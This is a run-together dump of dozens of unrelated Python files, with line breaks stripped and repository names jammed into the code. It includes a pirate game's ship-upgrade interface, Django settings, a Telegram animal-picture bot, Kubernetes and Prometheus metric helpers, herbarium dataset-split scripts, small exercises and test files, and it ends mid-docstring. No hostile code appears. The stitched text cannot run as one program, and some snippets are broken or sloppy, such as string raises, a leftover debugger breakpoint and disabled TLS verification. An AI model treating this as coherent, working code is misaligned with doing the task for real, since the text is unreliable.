patternInfo = ShipUpgradeGlobals.SAILCOLOR_TYPES.get(patternType) if patternInfo: sailPattern = patternInfo['StyleIndex'] logoInfo = ShipUpgradeGlobals.LOGO_TYPES.get(logoType) if logoInfo: logo = logoInfo['StyleIndex'] invertLogo = logoInfo['Invert'] self.previewShip(shipOV.shipClass, hullMaterial=hullMaterial, sailMaterial=sailMaterial, sailPattern=sailPattern, logo=logo, invertLogo=invertLogo) return def handleShipChanged(self): self.previewValue = None self.setShip(0, self.shipId, changed=1) return def previewShip(self, shipType, hullMaterial=None, sailMaterial=None, sailPattern=None, logo=None, invertLogo=False): self.clearShip() self.ship = base.shipFactory.getShip(shipType, hullMaterial=hullMaterial, sailMaterial=sailMaterial, sailPattern=sailPattern, logo=logo, invertLogo=invertLogo) self.shipModel = self.ship.modelRoot self.shipModel.setTransparency(TransparencyAttrib.MBinary, 1) self.ship.forceLOD(0) self.shipModel.setScale(0.0023) self.shipModel.setPos(0.15, 0.0, -0.15) self.shipModel.setH(110) self.shipModel.reparentTo(self) self.shipModel.setDepthTest(1) self.shipModel.setDepthWrite(1) self.ship.instantSailing() self.fixShipPR() self.stripShip() def setShip(self, shipIndex=0, shipId=None, changed=0): if shipId == None: shipIdList = localAvatar.getInventory().getShipDoIdList() shipId = shipIdList[shipIndex] if self.shipId != shipId or changed: if self.ship: self.ship.cleanup() self.ship = None self.ignore('ShipChanged-%s' % self.shipId) self.shipId = shipId if self.ship == None and self.shipId: shipOV = base.cr.getOwnerView(self.shipId) hullMaterial = None sailMaterial = None sailPattern = None invertLogo = False logo = ShipGlobals.Logos.Undefined if shipOV.customHull: hullType = ShipUpgradeGlobals.HULL_TYPES.get(shipOV.customHull) if hullType: hullMaterial = hullType['StyleIndex'] if shipOV.customRigging: riggingType = ShipUpgradeGlobals.RIGGING_TYPES.get(shipOV.customRigging) if riggingType: sailMaterial = riggingType['StyleIndex'] if shipOV.customSailPattern: patternType = ShipUpgradeGlobals.SAILCOLOR_TYPES.get(shipOV.customSailPattern) if patternType: sailPattern = patternType['StyleIndex'] if shipOV.customSailLogo: logoType = ShipUpgradeGlobals.LOGO_TYPES.get(shipOV.customSailLogo) if logoType: logo = logoType['StyleIndex'] invertLogo = logoType['Invert'] self.clearButtons() self.previewValue = None self.layoutButtons(self.previewCat) self.previewShip(shipOV.shipClass, hullMaterial=hullMaterial, sailMaterial=sailMaterial, sailPattern=sailPattern, logo=logo, invertLogo=invertLogo) self.previewChange(shipId, changeCat=self.previewCat, changeValue=self.previewValue) self.accept('ShipChanged-%s' % self.shipId, self.handleShipChanged) return def confirmPurchase(self): if self.confirmPanel: return if self.waitingForUpgrade: return if self.previewCat != None and self.previewValue != None: if not Freebooter.getPaidStatus(localAvatar.getDoId()): localAvatar.guiMgr.showNonPayer() else: if self.viewingDowngrade: self.confirmPanel = ShipUpgradeConfirm.ShipUpgradeConfirm(PLocalizer.ShipUpgradeConfirmTitleDown, PLocalizer.ShipUpgradeConfirmAskDown, self.panelConfirmOkay, self.panelConfirmCancel) elif self.viewingSidegrade: self.confirmPanel = ShipUpgradeConfirm.ShipUpgradeConfirm(PLocalizer.ShipUpgradeConfirmTitleSide, PLocalizer.ShipUpgradeConfirmAskSide, self.panelConfirmOkay, self.panelConfirmCancel) else: self.confirmPanel = ShipUpgradeConfirm.ShipUpgradeConfirm(PLocalizer.ShipUpgradeConfirmTitle, PLocalizer.ShipUpgradeConfirmAsk, self.panelConfirmOkay, self.panelConfirmCancel) self.confirmPanel.reparentTo(self) self.confirmPanel.setPos(0, 0, -0.2) return def panelConfirmOkay(self): localAvatar.sendUpdate('requestShipUpgrade', [self.shipId, self.previewCat, self.previewValue]) self.waitingForUpgrade = True self.checkConfirmButtonState() self.acceptOnce('ShipUpgraded', self.handleAckUpgrade) def panelConfirmCancel(self): pass def handleAckUpgrade(self, shipId=None, retCode=None): self.waitingForUpgrade = False self.checkConfirmButtonState() def checkConfirmButtonState(self): paidStatus = Freebooter.getPaidStatus(localAvatar.getDoId()) self.confirmButton['text_scale'] = PiratesGuiGlobals.TextScaleLarge if self.waitingForUpgrade or self.viewingCurrent or self.tooExpensive: self.confirmButton['state'] = DGG.DISABLED if self.waitingForUpgrade: self.confirmButton['text'] = PLocalizer.UpgradePurchaseWait self.confirmButton['text_fg'] = PiratesGuiGlobals.TextFG3 elif self.viewingCurrent: self.confirmButton['text'] = PLocalizer.UpgradePurchaseCurrent self.confirmButton['text_fg'] = PiratesGuiGlobals.TextFG3 elif self.tooExpensive: self.confirmButton['text'] = PLocalizer.UpgradePurchasePoor self.confirmButton['text_fg'] = PiratesGuiGlobals.TextFG6 else: self.confirmButton['state'] = DGG.NORMAL self.confirmButton['text_scale'] = PiratesGuiGlobals.TextScaleExtraLarge if not paidStatus: self.confirmButton['text'] = PLocalizer.UpgradePurchaseUnlimitedOnly self.confirmButton['text_fg'] = PiratesGuiGlobals.TextFG1 elif self.viewingDowngrade: self.confirmButton['text'] = PLocalizer.UpgradePurchaseDowngrade self.confirmButton['text_fg'] = PiratesGuiGlobals.TextFG6 elif self.viewingSidegrade: self.confirmButton['text_scale'] = PiratesGuiGlobals.TextScaleLarge self.confirmButton['text'] = PLocalizer.UpgradePurchaseSidegrade self.confirmButton['text_fg'] = PiratesGuiGlobals.TextFG1 else: self.confirmButton['text'] = PLocalizer.UpgradePurchaseConfirm self.confirmButton['text_fg'] = PiratesGuiGlobals.TextFG1 def onOpen(self, shipId=None, callback=None): self.setShip(shipId=shipId) self.updateCurrencyLabels() if callback: self.callback = callback self.accept('escape', self.close) for currencyId in ShipUpgradeGlobals.COST_LIST: if currencyId == InventoryType.ItemTypeMoney: self.accept(InventoryGlobals.getCategoryChangeMsg(localAvatar.getInventoryId(), InventoryType.ItemTypeMoney), self.updateCurrencyLabels) else: self.accept('inventoryQuantity-%s-%s' % (localAvatar.getInventoryId(), currencyId), self.updateCurrencyLabels) self.accept('mouse1', self.testStartDrag) self.accept('mouse1-up', self.endDrag) def testStartDrag(self, messageData=None): self.mouseXPos = None taskMgr.add(self.doShipDrag, 'shipUpgradeInterfaceDrag') return def doShipDrag(self, task=None): oldPos = self.mouseXPos self.mouseXPos = base.mouseWatcherNode.getMouseX() if oldPos != None: shipRot = (self.mouseXPos - oldPos) * 40.0 if self.shipModel: oldH = self.shipModel.getH() newH = oldH + shipRot newH = max(min(newH, 150), 45) self.shipModel.setH(newH) self.fixShipPR() if task: return task.cont return def endDrag(self, messageData=None): taskMgr.remove('shipUpgradeInterfaceDrag') def fixShipPR(self): shipH = self.shipModel.getH() side = 90.0 - shipH self.shipModel.setP(-5.0) self.shipModel.setR(side * 0.25) def clearShip(self): if self.ship: self.ship.cleanup() self.ship = None return def clearButtons(self): for button in self.choiceButtons: button.remove() self.choiceButtons = [] def close(self): self.onClose() self.hide() localAvatar.guiMgr.closeShipUpgrades() def onClose(self): self.endDrag() if self.confirmPanel: self.panelConfirmCancel() self.confirmPanel.destroy() self.confirmPanel = None self.clearShip() self.clearButtons() if self.callback: self.callback() self.ignore('escape') self.ignore('mouse1') self.ignore('mouse1-up') for currencyId in ShipUpgradeGlobals.COST_LIST: if currencyId == InventoryType.ItemTypeMoney: self.ignore(InventoryGlobals.getCategoryChangeMsg(localAvatar.getInventoryId(), InventoryType.ItemTypeMoney)) else: self.ignore('inventoryQuantity-%s-%s' % (localAvatar.getInventoryId(), currencyId)) return def stripShip(self): self.stripAttribs(self.shipModel, CullBinAttrib) def stripAttribs(self, geom, cls): ShipBlueprints.stripAttribs(geom, cls)level-6/task-1/task-1-5-1.py #!/usr/bin/env python3 #coding: utf-8 """ pythonic way """ lst = ['aaabb', 'caca', 'dabc', 'acc', 'abbb'] res = [s.count('a') for s in lst] print(res) # Copyright 2019 . All rights reserved. # Use of this source code is governed by a BSD-style # license that can be found in the LICENSE file. from enum import Enum, auto from dataclasses import dataclass from abc import abstractmethod from plugins import Plugin, PluginResult from typing import List, Optional class Severity(Enum): BLOCKER = auto() CRITICAL = auto() MAJOR = auto() MINOR = auto() INFO = auto() class Kind(Enum): BUG = auto() VULNERABILITY = auto() CODE_SMELL = auto() @dataclass class Location: filepath: str startLine: int endLine: int startColumn: int endColumn: int @dataclass class Issue: kind: Kind severity: Severity message: str effort: int location: Location class Issues(PluginResult): def __init__(self, items): self.items: List[Issue] = items class IssueCollector(Plugin): @abstractmethod def close(self) -> Issues: passcaleblogan/html-element-watcher0 from .base import * SECRET_KEY = os.environ['DJANGO_SECRET_KEY'] DEBUG = os.environ.get('DJANGO_DEBUG', False) ALLOWED_HOSTS += ['murmuring-wave-93908.herokuapp.com'] DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql', 'NAME': os.environ['POSTGRES_NAME'], 'USER': os.environ['POSTGRES_USER'], 'PASSWORD': os.environ['POSTGRES_PASSWORD'], 'HOST': os.environ['POSTGRES_HOST'], 'PORT': os.environ['POSTGRES_PORT'] } } CELERY_BROKER_READ_URL = os.environ['RABBITMQ_BIGWIG_RX_URL'] CELERY_BROKER_WRITE_URL = os.environ['RABBITMQ_BIGWIG_TX_URL'] import tserver, sys, disco def data_gen(path): return "Gutta cavat cavat capidem\n" * 100 def fun_map(e, params): return [(w, 1) for w in re.sub("\W", " ", e).lower().split()] def fun_reduce(iter, out, params): s = {} for k, v in iter: if k in s: s[k] += int(v) else: s[k] = int(v) for k, v in s.iteritems(): out.add(k, v) tserver.run_server(data_gen) results = disco.job(sys.argv[1], "test_50k", tserver.makeurl([""] * int(5e4)), fun_map, reduce = fun_reduce, nr_reduces = 300, sort = False) ANS = {"gutta": int(5e6), "cavat": int(1e7), "capidem": int(5e6)} i = 0 for key, value in disco.result_iterator(results): i += 1 if ANS[key] == int(value): print "Correct: %s %s" % (key, value) else: raise "Results don't match" if i != 3: raise "Too few results" print "ok" Ianssmith/UNDP_DataSciencequantData/data/mergedData/merger.py import scipy as sp import numpy as np import pandas as pd banks = pd.read_csv('combanks.csv') info = pd.read_csv('countryinfo.csv') merged = pd.merge(banks, info, on='Country_Name', how='left') merged.to_csv("data.csv") 0 import sys import os import csv if __name__ == "__main__": args = sys.argv csv_file = args[1] with open(os.path.join(os.getcwd(), csv_file), 'w', newline='') as f: writer = csv.writer(f) writer.writerow(['Epoch', 'AP50', 'AP75', 'mAP']) def climbingStaircase(n, k): if n == 0: return [[]] stair = [1] * n return findPossible(stair, k) def findPossible(stair, k): if len(stair) == 0: return [[]] if len(stair) == 1: return [[1]] if len(stair) < k: return findPossible(stair, len(stair)) solutions = [] for i in range(1,k+1): results = findPossible(stair[i::],k) print(results) for result in results: solutions.append([i]+result) return solutions """Unit test package for figleaf_fasta.""" from __future__ import print_function from data import IMDB from model import VRAE import tensorflow as tf def main(): dataloader = IMDB() params = { 'vocab_size': len(dataloader.word2idx), 'word2idx': dataloader.word2idx, 'idx2word': dataloader.idx2word,} model = VRAE(params) sess = tf.Session() sess.run(tf.global_variables_initializer()) print("Loading trained model ...") tf.train.Saver().restore(sess, './saved/vrae.ckpt') # lowercase, no punctuation, please model.customized_reconstruct(sess, 'i love this firm and it is beyond my expectation') model.customized_reconstruct(sess, 'i want to watch this movie again because it is so interesting') model.customized_reconstruct(sess, 'the time taken to develop the characters is quite long') model.customized_reconstruct(sess, 'is there any point to make a bad movie like this') model.customized_reconstruct(sess, 'sorry but there is no point to watch this movie again') model.customized_reconstruct(sess, 'to be honest this movie is not worth my time and money') if __name__ == '__main__': main()saifulazad/flask-appresources/register.py from flask import request from flask_restful import Resource from schematics.models import Model from schematics.types import StringType from schematics.exceptions import ValidationError, DataError class User(Model): username = StringType(required=True) password = StringType(required=True) class RegisterUser(Resource): def post(self): json_data = request.get_json(force=True) user = User(json_data) try: user.validate() return json_data except (ValidationError, DataError) as e: return e.to_primitive() goodok/sympy from sympy import I from sympy.physics.paulialgebra import Pauli from sympy.utilities.pytest import XFAIL sigma1 = Pauli(1) sigma2 = Pauli(2) sigma3 = Pauli(3) def test_Pauli(): assert sigma1 == sigma1 assert sigma1 != sigma2 assert sigma1*sigma2 == I*sigma3 assert sigma3*sigma1 == I*sigma2 assert sigma2*sigma3 == I*sigma1 assert sigma1*sigma1 == 1 assert sigma2*sigma2 == 1 assert sigma3*sigma3 == 1 assert sigma1**0 == 1 assert sigma1**1 == sigma1 assert sigma1**2 == 1 assert sigma1**3 == sigma1 assert sigma1**4 == 1 assert sigma3**2 == 1 assert sigma1*2*sigma1 == 2 @XFAIL def test_Pauli_should_work(): assert sigma1*sigma3*sigma1 == -sigma3 import torch from torch.distributions.normal import Normal from torch.nn.functional import mse_loss from rlil.environments import State, action_decorator, Action from rlil.initializer import get_device, get_writer, get_replay_buffer from rlil import nn from copy import deepcopy from .base import Agent, LazyAgent import os class BC(Agent): """ Behavioral Cloning (BC) In behavioral cloning, the agent trains a classifier or regressor to replicate the expert's policy using the training data both the encountered states and actions. Args: policy (DeterministicPolicy): An Approximation of a deterministic policy. minibatch_size (int): The number of experiences to sample in each training update. """ def __init__(self, policy, minibatch_size=32, ): # objects self.policy = policy self.replay_buffer = get_replay_buffer() self.writer = get_writer() self.device = get_device() # hyperparameters self.minibatch_size = minibatch_size def act(self, states, reward): self._states = states self._actions = Action(self.policy.eval(states.to(self.device))) return self._actions def train(self): if self.should_train(): (states, actions, _, _, _, _) = self.replay_buffer.sample( self.minibatch_size) policy_actions = Action(self.policy(states)) loss = mse_loss(policy_actions.features, actions.features) self.policy.reinforce(loss) self.writer.train_steps += 1 def should_train(self): return True def make_lazy_agent(self, *args, **kwargs): model = deepcopy(self.policy.model) return BCLazyAgent(model.to("cpu"), *args, **kwargs) def load(self, dirname): for filename in os.listdir(dirname): if filename == 'policy.pt': self.policy.model = torch.load(os.path.join( dirname, filename), map_location=self.device) class BCLazyAgent(LazyAgent): """ Agent class for sampler. """ def __init__(self, policy_model, *args, **kwargs): self._policy_model = policy_model super().__init__(*args, **kwargs) def act(self, states, reward): super().act(states, reward) self._states = states with torch.no_grad(): self._actions = Action(self._policy_model(states)) return self._actions import json import logging import requests from aiogram import types from aiogram.dispatcher.filters import Command, Text from loader import dp @dp.message_handler(Text(equals='🦊')) @dp.message_handler(Command("get_fox")) async def send_fox(message: types.Message): if message.text == '🦊': await message.delete() logging.info("Into send_fox") url = "http://randomfox.ca/floof/" contents = requests.get(url, verify=False).content logging.info(f"contents = {contents}") parsed_contents = json.loads(contents) logging.info(f"parsed_contents = {parsed_contents}") photo_url = parsed_contents["image"] logging.info(f"photo_url = {photo_url}") await message.answer_photo( photo=photo_url ) @dp.message_handler(Text(equals='🐱')) @dp.message_handler(Command("get_cat")) async def send_cat(message: types.Message): if message.text == '🐱': await message.delete() logging.info("Into send_cat") url = "https://api.thecatapi.com/v1/images/search" contents = requests.get(url, verify=False).content logging.info(f"contents = {contents}") parsed_contents = json.loads(contents) logging.info(f"parsed_contents = {parsed_contents}") photo_url = parsed_contents[0]["url"] logging.info(f"photo_url = {photo_url}") await message.answer_photo( photo=photo_url ) ####################### # # # message.py # # Copyright 2018-2020 # # # ####################### # ********** # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. # ********** NAME = "message" CATEGORIES = ["messaging"] ALIASES = ["msg", "tell"] SPECIAL_ALIASES = ['.'] USAGE = "message " DESCRIPTION = """Send a private message to the user . Does not use nicknames. If you don't know a player's username, you can look it up using their nickname with the `realname` command. To ignore a particular user's private messages, you may use the `ignore user` command. Ex. `message seisatsu Hello there!` Ex2. `msg seisatsu Hello there!` Ex3. `.seisatsu Hello there!`""" def COMMAND(console, args): # Perform initial checks. if not COMMON.check(NAME, console, args, argmin=2): return False # Make sure the named user exists and is online. targetuser = COMMON.check_user(NAME, console, args[0].lower(), online=True) if not targetuser: return False # Make sure we are not ignored or we are a wizard. if console.user["name"] in targetuser["chat"]["ignored"] and not console.user["wizard"]: console.msg("{0}: Could not message user.".format(NAME)) return False # Finished. Message the user, and echo the message to ourselves, if it wasn't a self-message. console.shell.msg_user(args[0].lower(), "<<{0}>>: {1}".format(console.user["name"], ' '.join(args[1:]))) if targetuser["name"] != console.user["name"]: console.msg("<<{0}>>: {1}".format(console.user["name"], ' '.join(args[1:]))) return True # Solution by : print(int(input())+1)""" make_train_val_splits.py Load a csv file into a dataframe containing herbarium metadata, split it into train and val subsets, then write to new location as csv files. Created on: Sunday March 6th, 2022 Created by: """ import argparse import warnings warnings.simplefilter(action='ignore', category=FutureWarning) ## Can we stratify by genus or Family while classifying species? import numpy as np from sklearn.model_selection import train_test_split from sklearn.preprocessing import LabelEncoder import os from typing import * import json from functools import partial import pandas as pd from pathlib import Path import seaborn as sns import matplotlib.pyplot as plt from pprint import pprint as pp from imutils.big.make_herbarium_2022_catalog_df import (read_all_from_csv, read_train_df_from_csv, read_test_df_from_csv) from imutils.big.split_catalog_utils import (make_encode_save_splits, find_data_splits_dir, check_already_built, TRAIN_KEY, VAL_KEY, TEST_KEY) def format_output_cols(df: pd.DataFrame) -> pd.DataFrame: """ Override/Rewrite this function for performing any preprocessing on the columns prior to any other steps. """ col_order = ['Species', 'path', 'y', 'category_id', 'genus_id', 'institution_id', 'image_id', 'file_name', 'license', 'scientificName', 'family', 'genus', 'species', 'authors', 'collectionCode'] col_order = [col for col in col_order if col in df.columns] return df[col_order].convert_dtypes() def main(source_dir: str, #=DATA_DIR, save_dir: Optional[str]=None, label_col: str="scientificName", stratify_col: str="scientificName", train_size: float=0.8, force_overwrite: bool=False, seed: int=14): """ If splits already exist on disk, read and return their contents. If they dont, read original herbarium train metadata, apply train val split, and write contents to new directory Returns a fitted LabelEncoder object + 3 DataFrames, - The train & val DataFrames contain labeled/supervised datasets - The test DataFrames contain unlabeled/unsupervised datasets """ # if splits_dir is None: # splits_dir = Path(source_dir, "splits", f"train_size-{train_size}") # os.makedirs(splits_dir, exist_ok=True) # import pdb; pdb.set_trace() if check_already_built(save_dir): if force_overwrite: pp(f"force_overwrite is set to true, replacing previously existing files within: {save_dir}") else: print(f"Already completed previous run. train-val-test splits are in the following directory:", '\n' + str(save_dir)) return None source_csv_paths = [Path(source_dir, f) for f in os.listdir(source_dir) if f.endswith(".csv")] data = make_encode_save_splits(source_csv_paths=source_csv_paths, save_dir=save_dir, label_col=label_col, stratify_col=stratify_col, train_size=train_size, seed=seed, splits=None, select_subsets=None, subset_read_funcs={ TRAIN_KEY: read_train_df_from_csv, TEST_KEY: read_test_df_from_csv}, read_csv_func=partial(read_all_from_csv, return_dict=True), format_output_cols_func=format_output_cols) return data # HERBARIUM_ROOT = "/media/data_cifs/projects/prj_fossils/data/raw_data/herbarium-2022-fgvc9_resize" # WORKING_DIR = "/media/data/jacob/GitHub/image-utils/notebooks/herbarium_2022/" # OUTPUT_DIR = os.path.join(WORKING_DIR, "outputs") # DATA_DIR = os.path.join(WORKING_DIR, "data") # from dotenv import load_dotenv # load_dotenv() import imutils HERBARIUM_ROOT_DEFAULT = os.environ.get("HERBARIUM_ROOT_DEFAULT") CATALOG_DIR = os.environ.get("CATALOG_DIR") SPLITS_DIR = os.environ.get("SPLITS_DIR") """ python "/media/data_cifs/projects/prj_fossils/users/jacob/github/image-utils/imutils/big/make_train_val_splits.py" \ --source_dir "/media/data/home/jrose3/data_cache/herbarium-2022-fgvc9_resize-512" \ --train_size=0.8 \ --label_col="scientificName" \ --stratify_col="scientificName" """ """ python "/media/data_cifs/projects/prj_fossils/users/jacob/github/image-utils/imutils/big/make_train_val_splits.py" \ --source_dir "/media/data/home/jrose3/data_cache/herbarium-2022-fgvc9_resize-512" \ --train_size=0.8 \ --label_col="family" \ --stratify_col="scientificName" """ def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser("""Generate train-val splits dataset from Herbarium 2022 train dataset.""") parser.add_argument( "--source_dir", default=CATALOG_DIR, help="directory where catalog csv files are read, followed by splitting" ) parser.add_argument( "--save_dir", default=None, #SPLITS_DIR, help="Target directory in which to save the csv files for each split. ", ) parser.add_argument( "--train_size", default=0.7, type=float, help="ratio of the train input csv to keep for train, with 1 - train_size kept for val.", ) parser.add_argument( "--label_col", default="scientificName", help="The column to encode as labels. Set --stratify_by_col in order to specify how to determine balanced splits correctly.", ) parser.add_argument( "--stratify_col", default="scientificName", help="The column to use for stratification. Set --label_col in order to specify which column to use as the basis for integer-encoded labels for single-label, multiclass classification.", ) parser.add_argument( "--seed", default=14, type=int, help="Random seed." ) parser.add_argument( "--info", action="store_true", help="Flag to print execution variables then quit without execution." ) parser.add_argument( "--force_overwrite", action="store_true", help="Flag to allow removal of pre-existing output files if they already exist, instead of skipping creation during execution." ) args = parser.parse_args() args.train_size = float(args.train_size) if args.save_dir is None: args.save_dir = find_data_splits_dir(source_dir=args.source_dir, stratify_col=args.stratify_col, train_size=args.train_size, splits=None) # train_size_str = f"train_size-{args.train_size:.1f}" # stratify_by_col_str = f"stratify_by_col-{args.stratify_by_col}" # if args.splits_dir is None: # if SPLITS_DIR is not None: # args.splits_dir = SPLITS_DIR # else: # args.splits_dir = Path(args.source_dir, "splits") # args.splits_dir = args.splits_dir / stratify_by_col_str / train_size_str if args.info: print("User passed --info, displaying execution args then exiting") pp(args) sys.exit(0) assert os.path.isdir(args.source_dir) print(f"Using args.splits_dir: {args.save_dir}") os.makedirs(args.save_dir, exist_ok=True) return args if __name__ == "__main__": args = parse_args() main(source_dir=args.source_dir, save_dir=args.save_dir, label_col=args.label_col, stratify_col=args.stratify_col, train_size=args.train_size, force_overwrite=args.force_overwrite, seed=args.seed) pelsan/otumba from kubernetes.client import Configuration from kubernetes.client.api import core_v1_api from kubernetes.client.rest import ApiException from kubernetes.stream import stream from kubernetes import client,config from prometheus_api_client import PrometheusConnect config.load_kube_config() v1=client.CoreV1Api() def manage_pods(replicas, docker_image, name_pod, cpu_limits, cpu_request, namespace_pod): config.load_kube_config() apps_api = client.AppsV1Api() deployment = client.V1Deployment() deployment.api_version = "apps/v1" deployment.kind = "Deployment" deployment.metadata = client.V1ObjectMeta(name=name_pod) spec = client.V1DeploymentSpec( selector=client.V1LabelSelector(match_labels={"app":name_pod}), template=client.V1PodTemplateSpec(), ) container = client.V1Container( image=docker_image, resources = {"limits": {"cpu":cpu_limits} , "requests": {"cpu":cpu_request}}, name=name_pod, ) spec.template.metadata = client.V1ObjectMeta( name=name_pod, labels={"app":name_pod}, ) spec.template.spec = client.V1PodSpec(containers = [container]) dep = client.V1Deployment( metadata=client.V1ObjectMeta(name=name_pod), spec=spec, ) dep.spec.replicas = replicas try: apps_api.create_namespaced_deployment(namespace=namespace_pod, body=dep) except: print("Pod Exist, updating replicas") dep.spec.replicas = replicas changeddeploy= apps_api.replace_namespaced_deployment(name=name_pod, namespace=namespace_pod, body=dep) def get_pod_metrics_scenario_1(server, lapso, namespace, podname, requestpodname): prom = PrometheusConnect(url=server, disable_ssl=True) strQuery='sum(rate(container_file_descriptors{pod=~"' + podname +'[^v]*", container!="POD", namespace="' + namespace + '", container ="' + podname +'"}['+lapso+']))' resultado = prom.custom_query(query=strQuery) try: file_descriptors=resultado[0]["value"][1] except: file_descriptors = "0" strQuery='sum(rate(container_network_receive_packets_total{pod=~"' + podname +'[^v]*", namespace="' + namespace + '", interface="eth0"}['+lapso+']))' resultado = prom.custom_query(query=strQuery) try: receive_packets=resultado[0]["value"][1] except: receive_packets = "0" strQuery='sum(rate(container_network_transmit_packets_total{pod=~"' + podname +'[^v]*", namespace="'+ namespace + '" , interface="eth0"}['+lapso+']))' resultado = prom.custom_query(query=strQuery) try: transmit_packets=resultado[0]["value"][1] except: transmit_packets = "0" strQuery='sum(rate(container_network_transmit_packets_dropped_total{namespace="'+ namespace +'",pod="'+ requestpodname + '",interface="eth0"}['+lapso+']))' resultado = prom.custom_query(query=strQuery) try: dropped_packets=resultado[0]["value"][1] except: dropped_packets = "0" strQuery='sum(rate(container_cpu_usage_seconds_total{container_name!="POD",container!="POD" ,namespace="'+ namespace +'" ,pod=~"' + podname +'[^v]*", }['+lapso+']))' resultado = prom.custom_query(query=strQuery) try: cpu_usage_seconds=resultado[0]["value"][1] except: cpu_usage_seconds = "0" strQuery='sum(rate(container_cpu_cfs_throttled_seconds_total{ namespace="'+ namespace + '", pod=~"' + podname +'[^v]*" }['+lapso+']))' resultado = prom.custom_query(query=strQuery) try: cpu_throttled_seconds=resultado[0]["value"][1] except: cpu_throttled_seconds = "0" strQuery='sum(rate(container_memory_working_set_bytes{ namespace="' + namespace + '", pod=~"' + podname +'[^v]*"}['+lapso+']))' resultado = prom.custom_query(query=strQuery) try: memory_working_bytes=resultado[0]["value"][1] except: memory_working_bytes = "0" strQuery='count(container_memory_usage_bytes{container="' + podname +'", namespace="'+ namespace +'"})' resultado = prom.custom_query(query=strQuery) try: memory_usage_bytes=resultado[0]["value"][1] except: memory_usage_bytes = "0" ret=v1.list_namespaced_pod(namespace,watch=False) pods=ret.items pods_names=[pod.metadata.name for pod in pods] number_pods= 0 for pod in pods_names: if (pod.find(podname)>-1): number_pods = number_pods+1 formatted_pods = "{:.1f}".format(float(number_pods)) formatted_file_descriptors = "{:.1f}".format(float(file_descriptors)) formatted_receive_packets = "{:.1f}".format(float(receive_packets)) formatted_transmit_packets = "{:.1f}".format(float(transmit_packets)) formatted_dropped_packets = "{:.1f}".format(float(dropped_packets)) formatted_cpu_usage_seconds = "{:.10f}".format(float(cpu_usage_seconds)) formatted_cpu_throttled_seconds = "{:.10f}".format(float(cpu_throttled_seconds)) formatted_memory_working_bytes = "{:.1f}".format(float(memory_working_bytes)) formatted_memory_usage_bytes = "{:.1f}".format(float(memory_usage_bytes)) return{"pods": formatted_pods,"file_descriptors":formatted_file_descriptors,"receive_packets":formatted_receive_packets, "transmit_packets":formatted_transmit_packets, "dropped_packets":formatted_dropped_packets, "cpu_usage_seconds":formatted_cpu_usage_seconds, "cpu_throttled_seconds": formatted_cpu_throttled_seconds, "memory_working_bytes": formatted_memory_working_bytes, "memory_usage_bytes" :formatted_memory_usage_bytes} import random as rd import matplotlib.pyplot as plt import numpy as np def toss(): return rd.randrange(0 , 2, 1) def experiment(): coins = 1000 heads = [0]*coins for i in range(coins): for j in range(10): heads[i] += toss() first, minim, rand = 0, heads.index(min(heads)), rd.randrange(0, coins, 1) # Indexes of the return [first, minim, rand] if __name__ == '__main__': nExp = 1 selectCoins = [0]*1000 for i in range(nExp): for index in experiment(): selectCoins[index] += 1 print(selectCoins) # plt.bar(range(1000), selectCoins) # plt.show()roy860328/VSGM import dgl import torch import torch.nn as nn import torch.nn.functional as F from dgl.nn import GraphConv from dgl.nn import SAGEConv import numpy as np import pandas as pd # import nn.vnn as vnn # import pdb; pdb.set_trace() def load_object_interact_object(): nodes_data = pd.read_csv('../data_dgl/object.csv') edges_data = pd.read_csv('../data_dgl/object-interact-object.csv') src = edges_data['Src'].to_numpy() dst = edges_data['Dst'].to_numpy() g = dgl.graph((src, dst)) Ids = nodes_data['Id'].to_list() Ids = torch.tensor(Ids).long() # We can also convert it to one-hot encoding. feature = [nodes_data['feature'].to_list()] for i in range(1, 300): feature.extend([nodes_data['feature.{}'.format(i)].to_list()]) feature = torch.tensor(feature).float().transpose(0, 1) g.ndata.update({'Ids': Ids, 'feature': feature}) return g g = load_object_interact_object() inputs = g.ndata['feature'] class GraphSAGE(nn.Module): def __init__(self, in_feats, h_feats, num_classes): super(GraphSAGE, self).__init__() self.conv1 = SAGEConv(in_feats, h_feats, 'mean') self.conv2 = SAGEConv(h_feats, num_classes, 'mean') def forward(self, g, in_feat): h = self.conv1(g, in_feat) h = F.relu(h) h = self.conv2(g, h) return h net = GraphSAGE(300, 16, 2) for e in range(100): # forward logits = net(g, inputs) import pdb; pdb.set_trace() Max-PJB/python-learning20 #!/usr/bin/env python # -*- coding: utf-8 -*- """ ------------------------------------------------- @ Author : pengj @ date : 2020/7/24 10:02 @ IDE : PyCharm @ GitHub : https://github.com/JackyPJB @ Contact : ------------------------------------------------- Description : ------------------------------------------------- """ __author__ = 'Max_Pengjb' import os p = '/haha/hehe/xixi/wo.did.xixi.txt' print(os.path.splitext(p)) print(os.path.split(p)) print(os.path.basename(p)) print(os.path.dirname(p)) print(os.path.join('a','b','c')) print(len(os.listdir('./photo'))) from setuptools import setup setup( name='gym_walk', version='0.0.1', description='Gym walk environment - useful to replicate Random Walk experiments', url='https://github.com/mimoralea/gym-walk', author='', author_email='', packages=['gym_walk', 'gym_walk.envs'], license='MIT License', install_requires=['gym'], ) 1-10 """Brontes training utilities.""" import torch import pytorch_lightning as pl from .tracker import TRACKER_FACTORY class Brontes(pl.LightningModule): """ Brontes is a class to facilitate the write-up and reduce boilerplate code in training scripts. """ def __init__( self, model, loss, data_loaders, optimizers, metrics=None, batch_fn=None, training_log_interval=100, tracker_type='logging' ): """ Initialize a thunder instance. Args: model (torch.nn.Module): a model object. loss (callable fn): a loss object. data_loaders (dict): a dict of torch.utils.data.DataLoader objects. It 